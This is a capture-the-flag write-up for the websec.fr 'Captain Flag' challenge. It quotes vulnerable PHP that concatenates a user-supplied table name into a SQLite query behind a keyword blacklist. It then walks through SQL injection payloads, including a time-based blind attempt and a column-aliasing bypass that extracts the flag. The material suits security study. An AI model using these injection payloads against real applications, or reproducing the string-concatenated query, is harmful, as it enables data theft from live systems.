WebSec Capitain Flag

ctf

Informations

Websec.fr is a great website to perform PHP code review. There are ~28 challenges with different difficulty levels ;)

Captain flag

captain flag

It is a form. The input is an int.

The interesting part of the code is in the ‘sanitize‘ function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

function sanitize($id, $table) {
/* Rock-solid: https://secure.php.net/manual/en/function.is-numeric.php */
if (! is_numeric ($id) or $id < 2) {
exit("The id must be numeric, and superior to one.");
}

/* Rock-solid too! */
$special1 = ["!", "\"", "#", "$", "%", "&", "'", "*", "+", "-"];
$special2 = [".", "/", ":", ";", "<", "=", ">", "?", "@", "[", "\\", "]"];
$special3 = ["^", "_", "`", "{", "|", "}"];
$sql = ["union", "0", "join", "as"];
$blacklist = array_merge ($special1, $special2, $special3, $sql);
foreach ($blacklist as $value) {
if (stripos($table, $value) !== false)
exit("Presence of '" . $value . "' detected: abort, abort, abort!\n");
}
}

if (isset ($_POST['submit']) && isset ($_POST['user_id']) && isset ($_POST['table'])) {
$id = $_POST['user_id'];
$table = $_POST['table'];

sanitize($id, $table);

$pdo = new SQLite3('database.db', SQLITE3_OPEN_READONLY);
$query = 'SELECT id,username FROM ' . $table . ' WHERE id = ' . $id;
//$query = 'SELECT id,username,enemy FROM ' . $table . ' WHERE id = ' . $id;

$getUsers = $pdo->query($query);
$users = $getUsers->fetchArray(SQLITE3_ASSOC);

$userDetails = false;
if ($users) {
$userDetails = $users;
$userDetails['table'] = htmlentities($table);
}
}

First it check if $id is_numeric and $id>2
Second it check if the is no ‘special string’ (blacklist) in table name.

We can see that the SQL query is concatenate string and that always bad (SQLi) and it is recommended to use ‘prepared statement‘.

In CTF there’s no hazard so column ‘enemy’ is an information. We can imagine we need to find the value enemy in id 1 \o/

I do some simple test to try to inject the table value but nothing worked :/
So I try to bypass the $id with:

  • big int
  • 0e11111 value

but nothing work :/

So I return on SQL injection tests, on table name.
It is possible to inject some query in table field in HTTP Post submit (Burp is your friend) with:

Spoiler warning
1
2
3
4
5
6
7
8
user_id=2&table=(select id,username from costume)&submit=Submit

# this one work to
user_id=2&table=(select id,username from costume where id like 2)&submit=Envoyer

# this work on my sql test but not on websec (blacklist '+' and 'as')
user_id=2&table=(select id+1 as id,username from costume where id like 1)&submit=Envoyer

But this don’t bypass the filter to access the id=1.

I try a time base SQLi

1
select * from (select id,username from costume where id like 1 and substr(username,1,1) like CHAR(0X37) and randomblob(100000000) ) 

It work on sqliteonline but not on websec :/

After reading multiple post on the web I find THIS. In Sqlite ‘AS’ is not mandatory in column name alias.

1
2
3
SELECT StudentName 'Student Name' FROM Students;
# is the same as
SELECT StudentName 'Student Name' FROM Students;

So we can try to bypass the id column with this information and what we find before.

You can use the code SQL to generate your own Table and do some test

1
2
3
4
5
6
CREATE TABLE costume (id integer primary key, username varchar(20), enemy varchar(20) );

insert into costume (username,enemy) VALUES ("Cap'tain flag",'{FLAG}');
insert into costume (username,enemy) VALUES ('Spiderman','Green Goblin');
insert into costume (username,enemy) VALUES ('Batman','The Joker');
insert into costume (username,enemy) VALUES ('Superman','Lex Luthor');
Spoiler warning
1
2
3
4
5
6
7
8
9
user_id=222&table=(select 222 id,username from costume)&submit=Envoyer
# output Batman ??? don't understand why ... Captain is the value
expected !? Oo

user_id=222&table=(select 222 id,enemy username from costume)&submit=Envoyer
# output the flag

# more elegant
user_id=222&table=(select 222 id,enemy username from costume where id like 1)&submit=Envoyer